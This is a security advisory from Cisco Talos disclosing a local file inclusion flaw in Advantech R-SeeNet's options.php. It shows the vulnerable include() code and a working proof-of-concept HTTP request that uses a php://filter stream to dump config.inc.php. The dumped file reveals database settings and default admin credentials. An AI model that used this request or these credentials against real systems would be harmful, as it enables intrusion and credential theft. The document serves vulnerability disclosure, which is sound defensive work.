Talos Vulnerability Report

TALOS-2021-1273

Advantech R-SeeNet options.php local file inclusion (LFI) vulnerability

JULY 15, 2021

CVE NUMBER

CVE-2021-21804

Summary

A local file inclusion (LFI) vulnerability exists in the options.php script functionality of Advantech R-SeeNet v 2.4.12 (20.10.2020). A specially crafted HTTP request can lead to arbitrary PHP code execution. An attacker can send a crafted HTTP request to trigger this vulnerability.

Tested Versions

Advantech R-SeeNet 2.4.12 (20.10.2020)

Product URLs

https://ep.advantech-bb.cz/products/software/r-seenet

CVSSv3 Score

8.1 - CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

CWE

CWE-98 - Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion')

Details

R-SeeNet is the software system used for monitoring Advantech routers. It continuously collects information from individual routers in the network and records the data into a SQL database.

This vulnerability is present in options.php script, which is a part of the Advantech R-SeeNet web applications. A specially crafted HTTP request sent by an attacker can lead to arbitrary PHP code execution.

The options.php script accepts `sub_opt` parameter coming from the user via a HTTP request:

```
php/options.php
Line 25   if(isset($_GET['sub_opt']) && ($_GET['sub_opt'] != ''))
Line 26   {
Line 27         $sub_opt = $_GET['sub_opt'];
Line 28   }
```

Further without any sanitization `sub_opt` parameter value is used inside `include` function:

```
Line 217        <?php
Line 218          include($sub_opt.".php");
```

A major dispatching mechanism responsible for loading core components from `php/` directory is located inside `index.php` script. We can see there is a `whitelist` array variable containing a list of allowed to load websites by particular user:

```
index.php

Line 60   // stranky na ktere muze guest //pages that guest user can load
Line 61   $whitelist = array(
Line 62         "device_list",
Line 63         "device_change",
Line 64         "device_status",
Line 65         "report_form",
Line 66         "login_form",
Line 67         "login_change",
Line 68         "mysql_sp",
Line 69         "get_file",
Line 70         "open_device",
Line 71         "options",
                        (...)
```

To trigger the described above vulnerability the attacker must be logged-in into the R-SeeNet website but as we might observe even `guest` user `line 60,71` is able to load vulnerable `options` script.

Exploit Proof of Concept

An attacker using one of php streams can exploit this vulnerability. Example shows how to read a config.inc.php file content (which contains db user/pass ,...) using one of the php streams.

Request

```
GET /index.php?page=options&sub_opt=php://filter/convert.base64-encode/resource=/config.inc HTTP/1.1\r\n
Host: 192.168.153.134\r\n
Connection: keep-alive\r\n
Cache-Control: max-age=0\r\n
Upgrade-Insecure-Requests: 1\r\n
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.190 Safari/537.36\r\n
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-
exchange;v=b3;q=0.9\r\n
Accept-Encoding: gzip, deflate\r\n
Accept-Language: pl-PL,pl;q=0.9,en-US;q=0.8,en;q=0.7\r\n
Cookie: PHPSESSID=ppe11sb53oqa82d3o0trtkllr0\r\n
```

Response

```
Hypertext Transfer Protocol
HTTP/1.1 200 OK\r\n
Date: Mon, 08 Mar 2021 17:10:15 GMT\r\n
Server: Apache/2.2.17 (Win32) mod_ssl/2.2.17 OpenSSL/0.9.8o PHP/5.3.4\r\n
X-Powered-By: PHP/5.3.5\r\n
Expires: Thu, 19 Nov 1981 08:52:00 GMT\r\n
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0\r\n
Pragma: no-cache\r\n
Keep-Alive: timeout=5, max=100\r\n
Connection: Keep-Alive\r\n
Transfer-Encoding: chunked\r\n
Content-Type: text/html; charset=utf-8\r\n
\r\n

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">\r\n
<html>\r\n
  <head>\r\n
    <meta http-equiv="Content-Type" content="text/plain; charset=utf-8" />\r\n
    <meta name="description" content="TODO - info" />\r\n
    <meta http-equiv="pragma" content="no-cache">\r\n
    <meta http-equiv="cache-control" content="no-cache">\r\n
    <meta http-equiv="refresh" content="960">\t\r\n
    <title>R-SeeNet v2.4.12</title>\r\n
        (...)
              </td>  \r\n
            </tr>\r\n

PD9waHANCg0KLyoqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKi8NCi8qICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICovDQovKi
        </td>\r\n
      </tr>\r\n
    </table>\r\n
  </body>\r\n
</html> \r\n
```

Encoded base64 string contains config.inc.php content:

```
<?php

/****************************************************************************/
/*                                                                          */
/*  VYCHOZI KONFIGURACE                                                                                                      */
/*                                                                          */
/****************************************************************************/


// konfigurace pripojeni k MySQL


define("DB_USER", "SNMPMON");
define("DB_PASS", "");
define("DB_HOST", "localhost");
define("DB_NAME", "snmpmon");


// konfigurace pripojeni ke sluzbe

define("READ_SERVICE_IP", "127.0.0.1");
define("READ_SERVICE_PORT", "65031");


define("VERSION", "2.4.12");
define("DEF_USER", "admin");
define("DEF_PASS", "conel");




?>
```

Timeline

2021-03-11 - Initial contact with vendor

2021-03-14 - Advisory issued to CISA

2021-04-13 - Follow up with vendor & CISA

2021-06-07 - Follow up with vendor & CISA (no response)

2021-06-22 - Final 90 day notice issued

2021-07-15 - Public Disclosure

CREDIT

Member of the Cisco Talos team

VULNERABILITY REPORTS

PREVIOUS REPORT TALOS-2021-1272

NEXT REPORT TALOS-2021-1274